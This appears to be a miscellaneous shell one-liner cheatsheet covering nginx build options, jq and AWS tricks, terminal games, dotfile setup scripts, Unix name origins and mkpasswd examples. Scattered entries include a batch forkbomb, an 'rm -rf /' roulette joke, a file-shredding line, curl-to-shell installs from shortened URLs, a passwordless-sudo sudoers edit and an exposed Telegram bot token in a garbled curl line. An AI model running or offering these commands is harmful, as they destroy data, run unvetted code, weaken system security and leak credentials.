# Use rlwrap to add readline functionality to nc (or other cmds).
`gunzip -c /var/log/apt/history.log.*.gz | grep 'apt-get install' | cut -f4- -d" " | tr ' ' $'\n' | sort -u`
# Installed packages
[[ $( find $HOME/output -type f -mmin -5 | wc -l ) -eq 0 ]] && pkill -f '/usr/bin/whatever'
# Kill process if its not updating files (5 min)
echo 12-13-14-15 | tr -s "-" "."
/^[^#]+
# Using this search regex in 'less' will highlight the lines that are not comments starting with '#'. Can be useful for picking out configuration lines while viewing a file.
# Message2telegram
curl -X 10.254.253.160:8080 --silent --output /dev/null --data-urlencode "chat_id=454740953" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"ll
n=0;while : $((n++));do printf "%0${n}d"|grep -qP "^0?$|^(00+?)\1+$"||echo $n;done
t=$(($(tput cols)/3));for FR in $(seq $(tput lines));do printf "\e[44m%${t}s\e[47m%${t}s\e[41m%${t}s\e[0m\n";done
# French Flag #BastilleDay
x="ABCDEF,BBCCDD"
for y in `echo $x | sed 's/,/ /g'`; do echo -e "$y\c" | sed 's/\(..\)../\1QW/'; echo -e ",\c"; done | sed 's/,$//'
xdg-open
# will open a file from the commandline using the application associated with its file extension.
s/\p{Cyrillic}/?/g
# Perl regex to replace all Cyrillic characters with question marks
!?foo
# it will repeat the most recent command that contained the string 'foo'. In bash, will repeat the most recent command that contained the string 'foo'.
apt install debsecan
debsecan | grep "high urgency" | grep "remotely exploitable" | sed 's/^[^\ ]*\ //' | sed 's/\ .*//' | sort | uniq
#########################
# Forkbomb
################################
%0|%0
oder
@echo off
:start
start "Forkbomb" /high %0
goto start
./configure --help | grep -P "^ +--with-(?!(poll|select))[^=]+(_module( |$)| (module|support)$)" | sed -r 's/((dis|en)able|build) /# /'
# Nginx - print all optional modules before compilation
wget http://nginx.org/download/nginx-1.15.3.tar.gz && tar -xzf 1.15.3.tar.gz && cd nginx-1.15.3
This is sample output - yours may be different.
--with-threads # thread pool support
--with-file-aio # file AIO support
--with-http_ssl_module # ngx_http_ssl_module
--with-http_v2_module # ngx_http_v2_module
--with-http_realip_module # ngx_http_realip_module
--with-http_addition_module # ngx_http_addition_module
--with-http_xslt_module # ngx_http_xslt_module
--with-http_image_filter_module # ngx_http_image_filter_module
--with-http_geoip_module # ngx_http_geoip_module
--with-http_sub_module # ngx_http_sub_module
--with-http_dav_module # ngx_http_dav_module
--with-http_flv_module # ngx_http_flv_module
--with-http_mp4_module # ngx_http_mp4_module
--with-http_gunzip_module # ngx_http_gunzip_module
--with-http_gzip_static_module # ngx_http_gzip_static_module
--with-http_auth_request_module # ngx_http_auth_request_module
--with-http_random_index_module # ngx_http_random_index_module
--with-http_secure_link_module # ngx_http_secure_link_module
--with-http_degradation_module # ngx_http_degradation_module
--with-http_slice_module # ngx_http_slice_module
--with-http_stub_status_module # ngx_http_stub_status_module
--with-http_perl_module # ngx_http_perl_module
--with-mail # POP3/IMAP4/SMTP proxy module
--with-mail_ssl_module # ngx_mail_ssl_module
--with-stream # TCP/UDP proxy module
--with-stream_ssl_module # ngx_stream_ssl_module
--with-stream_realip_module # ngx_stream_realip_module
--with-stream_geoip_module # ngx_stream_geoip_module
--with-stream_ssl_preread_module # ngx_stream_ssl_preread_module
--with-google_perftools_module # ngx_google_perftools_module
--with-cpp_test_module # ngx_cpp_test_module
--with-pcre-jit # PCRE with JIT compilation support
# if you want to see all removable modules just do
./configure --help | grep -P "^ +--without[^=]+(_module( |$)| (module|support)$)" | sed -r 's/((dis|en)able|build) /# /'
--without-select_module # select module
--without-poll_module # poll module
--without-http_charset_module # ngx_http_charset_module
--without-http_gzip_module # ngx_http_gzip_module
--without-http_ssi_module # ngx_http_ssi_module
--without-http_userid_module # ngx_http_userid_module
--without-http_access_module # ngx_http_access_module
--without-http_auth_basic_module # ngx_http_auth_basic_module
--without-http_mirror_module # ngx_http_mirror_module
--without-http_autoindex_module # ngx_http_autoindex_module
--without-http_geo_module # ngx_http_geo_module
--without-http_map_module # ngx_http_map_module
--without-http_split_clients_module # ngx_http_split_clients_module
--without-http_referer_module # ngx_http_referer_module
--without-http_rewrite_module # ngx_http_rewrite_module
--without-http_proxy_module # ngx_http_proxy_module
--without-http_fastcgi_module # ngx_http_fastcgi_module
--without-http_uwsgi_module # ngx_http_uwsgi_module
--without-http_scgi_module # ngx_http_scgi_module
--without-http_grpc_module # ngx_http_grpc_module
--without-http_memcached_module # ngx_http_memcached_module
--without-http_limit_conn_module # ngx_http_limit_conn_module
--without-http_limit_req_module # ngx_http_limit_req_module
--without-http_empty_gif_module # ngx_http_empty_gif_module
--without-http_browser_module # ngx_http_browser_module
--without-http_upstream_hash_module
--without-http_upstream_ip_hash_module
--without-http_upstream_least_conn_module
--without-http_upstream_random_module
--without-http_upstream_keepalive_module
--without-http_upstream_zone_module
--without-mail_pop3_module # ngx_mail_pop3_module
--without-mail_imap_module # ngx_mail_imap_module
--without-mail_smtp_module # ngx_mail_smtp_module
--without-stream_limit_conn_module # ngx_stream_limit_conn_module
--without-stream_access_module # ngx_stream_access_module
--without-stream_geo_module # ngx_stream_geo_module
--without-stream_map_module # ngx_stream_map_module
--without-stream_split_clients_module
--without-stream_return_module # ngx_stream_return_module
--without-stream_upstream_hash_module
--without-stream_upstream_least_conn_module
--without-stream_upstream_random_module
--without-stream_upstream_zone_module
# inspiration source:
# https://gist.github.com/magnetikonline/6b66bbb3aade707d0a23
# notice:
# i removed select and poll method because most kernels use kqueue
# and it will be built automaticly if kqueue is not supported
getJavaFullClassName SpringComponent
# Discover full java className for import; If you want to code without a IDE, using java may be painful to discover correct full class names to import. This script google it with javadoc word, then with some luck we got the javadoc as first item. next it curl the target javadoc and extract full name from it. Can by customized to extract other javadoc infos. Pre-reqs: bash, google-chrome, html2text and core-utils Hide sample output
# This is sample output
getJavaFullClassName(){ className=$1; curl -s $(google-chrome --headless --dump-dom "https://www.google.com/search?q=javadoc+$className" 2>/dev/null | html2text | grep "^ 1."| head -1 | cut -d: -f4- | sed 's/+&cd=1&.*)$//g') | html2text | grep -i Frames | head -1 | cut -d? -f2 | cut -d. -f1 | tr / . ; }
$ getJavaFullClassName SpringComponent
org.springframework.stereotype.Component
$ getJavaFullClassName String
java.lang.String
$ getJavaFullClassName SpringValue
org.springframework.beans.factory.annotation.Value
$ getJavaFullClassName SpringAutowired
org.springframework.beans.factory.annotation.Autowired
$ getJavaFullClassName WebLogicBean
weblogic.management.runtime.MessageDrivenEJBRuntimeMBean
$ getJavaFullClassName MessageDrivenEJB
$ getJavaFullClassName MessageDrivenEJBRuntimeMBean
weblogic.management.runtime.MessageDrivenEJBRuntimeMBean
setcap CAP_NET_BIND_SERVICE=+eip /usr/bin/python2.7
# give a binary the ability to open ports below 1024 as non root user
# Binding a server to privileged port on Linux w/o running as root This is applicable to any service using privileged ports (< 1024), for instance to run a HTTP server on port 80 or a LDAP directory server on port 389 for example. Hide sample output
This is sample output - yours may be different.
# display the name and capabilities
$ getcap /usr/bin/python2.7
/usr/bin/python2.7 = cap_net_bind_service+eip
# test it with
$ /usr/bin/python2.7 -m SimpleHTTPServer 82
# to remove the ability
$ sudo setcap -r /usr/bin/python2.7
# Use JQ to get a csv list of assets in aws with security groups, names, and ENI ID for tracking VPC Flows from JSON - You need to use the aws ec2 describe instances to get the JSON file. Show Sample Output
cat aws.json | jq -r '.Reservations[].Instances[] | [.PrivateIpAddress, .SecurityGroups[].GroupId,.SecurityGroups[].GroupName,.NetworkInterfaces[].NetworkInterfaceId,(.Tags[] | select(.Key =="Name") | .Value),([.InstanceId| tostring] | join(";"))]|@csv'
# Add a repo to pacman
echo -e "\n[sublime-text]\nServer = https://download.sublimetext.com/arch/dev/x86_64" | sudo tee -a /etc/pacman.conf
#################### What does {some strange unix command name} stand for ###########################
k2pdfopt -mode copy -n -toclist $tocFile $inFile -o $outFile
What does {some strange unix command name} stand for?
awk = "Aho Weinberger and Kernighan"
This language was named by its authors, Al Aho, Peter
Weinberger and Brian Kernighan.
cat = "CATenate"
catenate is an obscure word meaning "to connect in a series",
which is what the "cat" command does to one or more files. Not
to be confused with C/A/T, the Computer Aided Typesetter.
gecos = "General Electric Comprehensive Operating Supervisor"
When GE's large systems division was sold to Honeywell,
Honeywell dropped the "E" from "GECOS".
Unix's password file has a "pw_gecos" field. The name is a
real holdover from the early days. Dennis Ritchie has reported:
"Sometimes we sent printer output or batch jobs
to the GCOS machine. The gcos field in the password file
was a place to stash the information for the $IDENT card.
Not elegant."
nroff = "New ROFF"
troff = "Typesetter new ROFF"
These are descendants of "roff", which was a re-implementation
of the Multics "runoff" program (a program that you'd use to
"run off" a good copy of a document).
tee = T
From plumbing terminology for a T-shaped pipe splitter.
bss = "Block Started by Symbol"
Dennis Ritchie says:
Actually the acronym (in the sense we took it up; it may
have other credible etymologies) is "Block Started by
Symbol." It was a pseudo-op in FAP (Fortran Assembly [-er?]
Program), an assembler for the IBM 704-709-7090-7094
machines. It defined its label and set aside space for a
given number of words. There was another pseudo-op, BES,
"Block Ended by Symbol" that did the same except that the
label was defined by the last assigned word + 1. (On these
machines Fortran arrays were stored backwards in storage
and were 1-origin.)
The usage is reasonably appropriate, because just as with
standard Unix loaders, the space assigned didn't have to be
punched literally into the object deck but was represented
by a count somewhere.
biff = "BIFF"
This command, which turns on asynchronous mail notification,
was actually named after a dog at Berkeley.
I can confirm the origin of biff, if you're interested.
Biff was Heidi Stettner's dog, back when Heidi (and I, and
Bill Joy) were all grad students at U.C. Berkeley and the
early versions of BSD were being developed. Biff was
popular among the residents of Evans Hall, and was known
for barking at the mailman, hence the name of the command.
Confirmation courtesy of Eric Cooper, Carnegie Mellon University
rc (as in ".cshrc" or "/etc/rc") = "RunCom"
"rc" derives from "runcom", from the MIT CTSS system, ca. 1965.
'There was a facility that would execute a bunch of
commands stored in a file; it was called "runcom" for "run
commands", and the file began to be called "a runcom."
"rc" in Unix is a fossil from that usage.'
Brian Kernighan & Dennis Ritchie, as told to Vicki Brown
"rc" is also the name of the shell from the new Plan 9
operating system.
Perl = "Practical Extraction and Report Language"
Perl = "Pathologically Eclectic Rubbish Lister"
The Perl language is Larry Wall's highly popular
freely-available completely portable text, process, and file
manipulation tool that bridges the gap between shell and C
programming (or between doing it on the command line and
pulling your hair out). For further information, see the
Usenet newsgroup comp.lang.perl.misc.
Don Libes' book "Life with Unix" contains lots more of these
tidbits.
------------------------------------------------------------------------
UNIXguide.net <http://www.unixguide.net/>
English to Visayan Cebuano Dictionary <http://www.binisaya.com/>
Find:
Display:
hits per page
Suggest a Site <http://www.unixguide.net/addurl.shtml>
Visayan Cebuano to English Dictionary <http://www.binisaya.com/cebuano/>
# hardcode dnsserver, no more rewriting of etc/resolv.conf -> man NetworkManager.conf ... none: NetworkManager will not modify resolv.conf. This implies rc-manager unmanaged Show Sample Output
f="/etc/NetworkManager/NetworkManager.conf"; if ! grep ^dns $f > /dev/null; then sudo sed -i.bkp '/\[main\]/a dns=none' $f; fi
# Export only one SVG element by ID. -> -z, --without-gui -j, --export-id-only -i, --export-id=ID -l, --export-plain-svg=FILENAME In Inkscape Press Ctrl-Shift-o to open object properties panel to give ID to a selected element
inkscape project.svg -z -j -i icon.svg -l b.svg
# Blackhole any level zones via dnsmasq -> Explanation It creates dnsmasq-com-blackhole.conf file with one line to route all domains of com zones to 0.0.0.0 You might use "address=/home.lab/127.0.0.1" to point allpossiblesubdomains.home.lab to your localhost or some other IP in a cloud. Show Sample Output
echo "address=/com/0.0.0.0" | sudo tee /etc/dnsmasq.d/dnsmasq-com-blackhole.conf && sudo systemctl restart dnsmasq
# Create a simple video contact sheet using the vcs bash script -> Assumes you've downloaded Toni Corvera's vcs script (http://p.outlyer.net/vcs), have it in your PATH, and have installed the script's dependencies. Generates a video contact sheet of 24 thumbnails and 3 thumbnails per column. The bold font and white-on-black color scheme keeps the text readable at the chosen 70% JPEG compression quality, which keeps the file size at a manageable level. You can go even lower with the quality and get a good looking result.
vcs -c 3 -H 220 -n 24 -dt -ds -dp -j --anonymous -O bg_heading=black -O bg_sign=black -O fg_heading=white -O fg_heading=white -O fg_sign=white -O fg_title=white -O font_heading=DejaVu-Sans-Bold -O quality=70
WS Route53 hosted zone export
# Frustrated with the manual domain migration process AWS has, I unsuccessfully tried to install cli53, route53-transfer. I instead wrote this oneliner to ease the export (which is not supported via the AWS console ATM). The output can be easily pasted into the "Import Hosted Zone" dialog in Route53. SOA/NS records are excluded since they cannot be automatically imported. Show Sample Output
#
# $ORIGIN umccr.org.
# $TTL 1h
# umccr.org. MX 10 inbound-smtp.eu-west-1.amazonaws.com
# umccr.org. TXT "google-site-verification=foo"
# (...)
#
echo -e "\$ORIGIN\tumccr.org.\n\$TTL\t1h\n" && aws route53 list-resource-record-sets --hosted-zone-id Z1EEXAMPLE9SF3 | jq -r '.ResourceRecordSets[] | [.Name, .Type, .ResourceRecords[0].Value] | join("\t")' - | grep -vE "NS|SOA"
xdaliclock -nocycle -builtin0 -countdown $(date +%s -d "17:00")
# Happy Friday! Countdown to the weekend in style with xdaliclock. Eastern hemisphere be like wut?
xclip -out -selection clipboard | qrencode -o - -t UTF8
# Display clipboard content as a QR-code using Unicode characters. Thanks
# Tetris "game" in <280.
X="oooooooooo";{ printf 'static char *tmp[] = {"10 10 4 1","o c #111","R c #F00","B c #00F","Y c #FF0",';printf '"%s",' $X $X $X $X ooYYoooooo oooYYooooo $X $X RRooooBooo RRoooBBBoo; echo '};' ; } | convert xpm:- -scale 200x tetris.gif
(((iwr "https://www.java.com/en/download/linux_manual.jsp").Links | ? {$_.href -ilike "*javadl*"} | ? {$_.title -ilike "*x64 RPM"}).href)[0]
# Get latest direct download URL for Java JRE
((iwr "https://www.java.com/en/download/linux_manual.jsp").Links | ? {$_.href -ilike "*javadl*"} | ? {$_.innerText -ilike "*x64 RPM"}).href
# Get latest direct download URL for Java JRE - Requires Powershell Core on Linux or on Windows Powershell 3.0. Gets the direct url for the most recent version of Java JRE. The package is for 64-bit RPM-based systems.
$file=(iwr -Uri ($(iwr "https://www.java.com/en/download/linux_manual.jsp").Links |? {$_.href -ilike "*javadl*" } |? {$_.innerText -ilike "*x64 rpm*"}).href -Method Head -Max 0 -ErrorAction 0).Headers.Location; (($file -Split "/")[-1] -split "&")[0]
# Check the most recent version of Java JRE. Requires Powershell Core on Linux or Windows Powershell 3.0 Gets the filename of the latest x64 rpm available from java.com
#################### Tron Lightcycles or Etch-a-sketch game http://www.climagic.org/coolstuff/tron-etch-a-sketch.html ###############################
# http://www.climagic.org/coolstuff/tron-etch-a-sketch.html …
# Tron lightcycles in the terminal or Etch-a-sketch. Or make a snake game. Stuff that doesn't even fit in the 280 limit.
# Copy and paste the commands below into your bash shell. Or better yet read, type and learn. Upon running this will start moving your cursor from the bottom up and making a blue trail as you go. Use the arrow keys to move around. The first command doesn't have boundary or wall detection yet so keep your cursor in bounds.
reset;x=$(($COLUMNS/2)); y=$LINES;xdir=0;ydir=-1;while true ; do read -s -r -t0.02 -n3 direction ; case "${direction:2:1}" in A) ydir=-1;xdir=0 ;; B)ydir=1;xdir=0 ;; C) ydir=0;xdir=1 ;; D) ydir=0;xdir=-1 ;; esac ; ox=$x; oy=$y ; x=$(( $x + $xdir )) ; y=$(( $y + $ydir )) ; printf "\033[%s;%sH\033[46m \033[0m\033[%s;%sH\033[44m \033[0m\033[0;0H" $y $x $oy $ox ; sleep 0.01 ; done
# Here is another version with wall collision detection. Using a bash array to keep track of where you have "drawn" a wall.
reset;x=$(($COLUMNS/2)); y=$LINES;unset spacesused[*];declare -a spacesused;xdir=0;ydir=-1;while true ; do read -s -r -t0.02 -n3 direction ; case "${direction:2:1}" in A) ydir=-1;xdir=0 ;; B)ydir=1;xdir=0 ;; C) ydir=0;xdir=1 ;; D) ydir=0;xdir=-1 ;; esac ; space=$(( $COLUMNS * $y + $x )) ; if [[ "${spacesused[$space]}" == "1" || $x -gt $COLUMNS || $x -lt 0 || $y -gt $LINES || $y -lt 0 ]]; then printf '\033[0;0HBOOM!\n' ; break ; else spacesused[$space]=1 ; fi ; ox=$x; oy=$y ; x=$(( $x + $xdir )) ; y=$(( $y + $ydir )) ; printf "\033[%s;%sH\033[46m \033[0m\033[%s;%sH\033[44m \033[0m\033[0;0H" $y $x $oy $ox ; sleep 0.01 ; done
# And another version without the movement that is more like a paint program. Press an arrow key to begin. Press they 'p' key to turn off the brush (off by default). However turning it off will erase blocks you've drawn as you move over them. Press numbers 0 through 7 in order to set the color. 9 means the default background which will do the same thing as turning off the brush. 0 through 7 are the standard ANSI background colors.
reset;x=$(($COLUMNS/2));y=$(($LINES/2));xdir=0;ydir=-1;on=0;color=44;while true ; do read -srn1 direction ; case "$direction" in A) ydir=-1;xdir=0 ;; B)ydir=1;xdir=0 ;; C) ydir=0;xdir=1 ;; D) ydir=0;xdir=-1 ;; p) on=$(( $on ^ 1 )) ; continue ;; [0-9]) color=4$direction ; continue ;; *) continue ;; esac ; ox=$x; oy=$y ; x=$(( $x + $xdir )) ; y=$(( $y + $ydir )) ; if [[ "$on" -eq "1" ]]; then paintcolor=$color ; else paintcolor=49 ; fi ; printf "\033[%s;%sH\033[47m \033[0m\033[%s;%sH\033[%sm \033[0m\033[0;0H" $y $x $oy $ox $paintcolor ; sleep 0.01 ; done
# Exercise for the reader
# Given the commands above, it shouldn't be hard to contruct a different game such as the "snake" or "worm" games. Try to make one of these games or come up with your own. If you come up with a working version, feel free to share it in the comment section below.
# When you realise your AMI doesn't come with NTP
AWS_DEFAULT_REGION="sa-east-1" jungle ec2 ls | grep midas | sort | cut -f4 | xargs -I {} ssh ubuntu@{} sudo apt-get install ntp -y
# Convert Kubernetes ConfigMaps to Secrets
cat configmap.json | jq 'with_entries(if .key == "data" then .value=(.value | to_entries | map( { (.key): (.value|@base64) } ) | add ) elif .key == "kind" then .value="Secret" else . end)'
# simple jq one-liner to convert from configmaps to secrets (which require the values to be base64 encoded).
# To automatically pull the config map, convert it, and re-upload the corresponding secret:
kubectl get --export -o json cm [configmap name] | jq 'with_entries(if .key == "data" then .value=(.value | to_entries | map( { (.key): (.value|@base64) } ) | add ) elif .key == "kind" then .value="Secret" else . end)' > secret.json; kubectl create -f secret.json
# Command-line russian roulette
[ $[ $RANDOM % 6 ] = 0 ] && rm -rf / || echo "Click"
# Command-line russian roulette
[ $[ $RANDOM % 6 ] = 0 ] && rm -rf --no-preserve-root / || echo "Click"
# gphoto2 is a nice program for remote tethering your camera. I've been using this as a high-res document scanner with my old DSLR and tripod for faster scanning of old books and things.
gphoto2 --port usb: --capture-image-and-download --filename fromcamera.jpg
# get all commands of user dunryc in terminal Functions: awk clear grep sed sleep
clear && sleep 5s && curl --silent "http://www.commandlinefu.com/commands/by/dunryc" | grep '<div class="command">'|sed 's/......$//'|sed 's/^.....................................//'|recode html..ascii|awk 'ORS="\n\n\n\n"'
# get all my commands from commandlinefu
clear && curl --silent http://www.commandlinefu.com/commands/by/dunryc | grep "div class" | grep command |tr '>' '\n' | grep -v command |sed 's/.....$//'
ssh [email protected] 'arecord -f cd -D plughw:1 | ffmpeg -ac 1 -i - -f ogg -' | mplayer - -idle -demuxer ogg
# Baby monitor over ssh, making it more private/secure than those in stores. Replace plughw:1 with mic device from arecord -l output. Make it a script for easy access.
pi=$(echo "scale=66;4*a(1)"|bc -l); for i in {4..65}; do printf "%s - %s\n" ${pi:0:$i}.com "$( dig +short ${pi:0:$i}.com |xargs)"; done
# People are still registering domains. dig random domains
firefox -P screenshots -headless -screenshot smbc.png http://www.smbc-comics.com
# Take screenshot of a website including JS, etc. You should create a profile called something like "screenshots" first using the profile manager, or close your default browser session.
/usr/lib/xscreensaver/lattice --tasty
# What's for breakfast? This program has many options. Uses rss-glx package. http://rss-glx.sourceforge.net
/usr/lib/xscreensaver/glslideshow -pan 12 -duration 12 -delay 0 -fade 3 -mipmaps
# You can also directly use glslideshow, just set imageDirectory: in .xscreensaver
feh -F -D90 --recursive --randomize --auto-zoom ~/Pictures
# Create a random image slideshow w/ 90 sec delay for RaspberryPi + old monitor with the picviewer feh
# a joke for insider
write trugen <<<'Hello, my username is imontoya, you kill -9 my $PPID, prepare to vi.'
#-------------#
# Dotfiles
#-------------#
# [I am not a smart person, i copypaste stuff](https://developer.atlassian.com/blog/2016/02/best-way-to-store-dotfiles-git-bare-repo/) to use the alias for the first time:
alias config='/usr/bin/git --git-dir=$HOME/.cfg/ --work-tree=$HOME'
echo ".cfg" >> .gitignore
git clone --bare https://github.com/juanpcapurro/dotfiles.git $HOME/.cfg
config checkout
### neovim files
#------------------#
plugins are added as submodules. It is then necessary to run `git submodule update --init --recursive`
## First magic script for ARCH Linux (as root)
#--------------------------------------------#
curl goo.gl/h4AkV1 | sh
echo "%wheel ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo -e "\n[multilib]\nInclude = /etc/pacman.d/mirrorlist\n\n[archlinuxfr]\nSigLevel = Never\nServer = http://repo.archlinux.fr/x86_64"
pacman --noconfirm --needed -Sy git zsh curl
chsh -s /usr/bin/zsh vasectomio
alias config='/usr/bin/git --git-dir=$HOME/.cfg/ --work-tree=$HOME'
echo ".cfg" >> .gitignore
git clone --bare https://github.com/juanpcapurro/dotfiles.git $HOME/.cfg
config checkout
#this may fail due to already present files, and user interaction is required to either back up or delete those files
## Last magic Arch Linux script
#-------------------------------#
curl goo.gl/idCi7H | sh
sudo pacman --noconfirm --needed -Sy base-devel xorg-xinit xorg-server terminator feh ffmpeg pulseaudio pulseaudio-alsa wpa_supplicant arandr pavucontrol pamixer mpv wget rofi python-pip neovim ranger poppler highlight htop network-manager-applet networkmanager qutebrowser transmission-cli atool libcaca xcompmgr transset-df texlive-most texlive-lang markdown zathura evince audacity vim-latexsuite rsync openssh noto-fonts-emoji cups screenfetch unzip unrar biber ntfs-3g jdk8-openjdk zsh xclip ctags gcc make cmake npm git ruby vlc qt4 flashplugin cython atom powerline python2-neovim python-neovim arc-gtk-theme polkit gparted zsh-completions ttf-dejavu ttf-inconsolata pandoc thunar numix-gtk-theme clang yaourt ttf-liberation noto-fonts ttf-dejavu scrot tp_smapi acpi_call
sudo pip install netifaces psutil
for PACKAGE in i3-gaps ttf-font-awesome vim-pathogen vim-live-latex-preview projectm-pulseaudio neofetch tamzen-font-git speedometer nodejs-markdown-pdf rambox-bin google-chrome i3lock-blur oh-my-zsh-git ttf-ms-fonts tree bumblebee-status-git rofi arc-gtk-theme gnome-keyring neofetch ; do yaourt --noconfirm -S $PACKAGE ; done
sudo pacman -Rs empathy epiphany evince gnome-backgrounds gnome-calculator gnome-contacts gnome-screenshot gnome-user-docs gnome-user-share totem vino yelp
gsettings set org.gnome.desktop.background show-desktop-icons false
config submodule update --init --recursive
curl https://gist.githubusercontent.com/nweddle/e456229c0a773c32d37b/raw/b4fef3b4a113677e47ab08cc98bd8cbc71d1a4dc/agnoster-newline.zsh-theme > ~/.oh-my-zsh/themes/agnoster-newline.zsh-theme
#YCM
cd ~/.config/nvim/bundle/YouCompleteMe ; ./install.py --clang-completer --tern-completer
#command-t
cd ~/.config/nvim/bundle/command-t/ruby/command-t/ext/command-t ; ruby extconf.rb ; make
#---------------------------------------------------------#
## Dotfile cfg install script
#-------------------------------#
curl -Lks http://bit.do/cfg-install | /bin/bash
git clone --bare https://bitbucket.org/durdn/cfg.git $HOME/.cfg
function config {
/usr/bin/git --git-dir=$HOME/.cfg/ --work-tree=$HOME $@
}
mkdir -p .config-backup
config checkout
if [ $? = 0 ]; then
echo "Checked out config.";
else
echo "Backing up pre-existing dot files.";
config checkout 2>&1 | egrep "\s+\." | awk {'print $1'} | xargs -I{} mv {} .config-backup/{}
fi;
config checkout
config config status.showUntrackedFiles no
# Other ways this can be useful:
df . # Display filesystem info for CWD.
cp -a /var/www . # Copy files from /var/www to CWD.
cd . # Re-enter CWD after it has been removed/remade or remounted.
chmod 700 . # Restrict permissions on CWD.
inotifywait -e open art.jpg && s=$(stat -c %s art.jpg );h=$(($s/2));r=$((s-h)); dd if=/dev/urandom | grep -a -o -P "[\x01-\xD0]" | tr -d $'\n' | dd of=art.jpg bs=1 seek=$h count=$r
# Digitally "shred" half a file after it is opened.
display $( find /usr/share/icons -name '*folder.png' | grep 64x64 )
# Just used this to browse through the different styles of folder icons at 64x64 res that were available in Linux for some clipart (with attribution of course ;). The 'display' command is from ImageMagick
espeak "I want him in the game until he dies playing. Acknowledge." --stdout | play - tempo 0.8 bend 0.1,-500,0.5 chorus 1 1.5 20 1 3 8 -s echos .7 .7 100 .5 10 0.1 reverb
# Make espeak sound like a sci-fi movie villain
tp=$(synclient -l | grep TouchpadOff | awk '{ print $3 }') && tp=$((tp==0)) && synclient TouchpadOff=$tp
# Toggle the Touchpad on or off
/usr/bin/time -f "\ntime\t%E\nCPU\t%P\nRAM\t%Mk" <command>
# Print process run time, average CPU usage, and maximum memory usage on exit
# Bash has a built-in time command which provides less functionality than the real time command. Thus we reference /usr/bin/time directly. Since the command isn't very easy to remember you could alias it to something like "cputime" or even just "time". This is sample output
/usr/bin/time -f "\ntime\t%E\nCPU\t%P\nRAM\t%Mk" sleep 10
time 0:10.00
CPU 0%
RAM 2216k
COUNTER=0; for i in foo*.jpg ; do COUNTER=$[COUNTER + 1]; done; echo "$COUNTER"
# Count Files in a Directory with Wildcards. If the dir | wc -l Command not working.
iamawesome=$(curl -LsS iamawesome.com | echo -e "\n\n$(cat) \n\n");
# Awesomeness Confirmation Bias
ssh [email protected]
# september 2018 scriptfu twitter + commandlinefu
lslogins
# You can use a simple command to list your Linux system users and some basic information about them. Simply use:
typeset -f
# List the functions that you have setup in the current shell.
# Well, a "typeset -f" lists all functions with their contents. If you just want a list of the function names, use something like this:
typeset -f | awk '/^[a-zA-Z_-]+ ?\(\)/ { print $1 $2 }'
#==============================##==============================#
# CMD MISC #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command misc in a clear format. This allows users to quickly access the needed information for misc without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for misc are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
88 - 🖥️mkpasswd
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mkpasswd command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ ██╗██████╗ █████╗ ███████╗███████╗██╗ ██╗██████╗
# ████╗ ████║██║ ██╔╝██╔══██╗██╔══██╗██╔════╝██╔════╝██║ ██║██╔══██╗
# ██╔████╔██║█████╔╝ ██████╔╝███████║███████╗███████╗██║ █╗ ██║██║ ██║
# ██║╚██╔╝██║██╔═██╗ ██╔═══╝ ██╔══██║╚════██║╚════██║██║███╗██║██║ ██║
# ██║ ╚═╝ ██║██║ ██╗██║ ██║ ██║███████║███████║╚███╔███╔╝██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═════╝
# Run the mkpasswd command in terminal to generate a random password.
mkpasswd
37_slQepD
# Run the mkpasswd command with the following format to generate a random strong password with 14 characters.
mkpasswd -l 14
W1qP1uv=lhghgh
# Run the mkpasswd command with the following format to generate a random strong password with 14 characters. It combinations of alphabetic (Lower & Upper case), Numeric number and special characters.
mkpasswd -l 14 -d 3 -C 3 -s 3
3aad!bMWG49&t,
# If you would like to generate ten random strong password with 14 characters (It combination of alphabetic (Lower & Upper case), Numeric number and special characters) using mkpasswd command then use the following for loop.
for pw in {1..10}; do mkpasswd -l 14 -d 3 -C 3 -s 3; done
zmSwP[q9;P1r6[
E42zcvz&i3%B\
8}1#Pbh5FjrO@m
0X:zB(mmU22?nj
0sqqL44M}ko(O^
43tQ(.6jG;ceRq
-jB6cp3x1GZ$e=
$of?Rj9kb2N(1J
9HCf,nn#gjO79^
Tu9m56+Ev_Yso(
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command mkpasswd in a clear format. This allows users to quickly access the needed information for mkpasswd without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for mkpasswd are a valuable resource to work efficiently and purposefully.
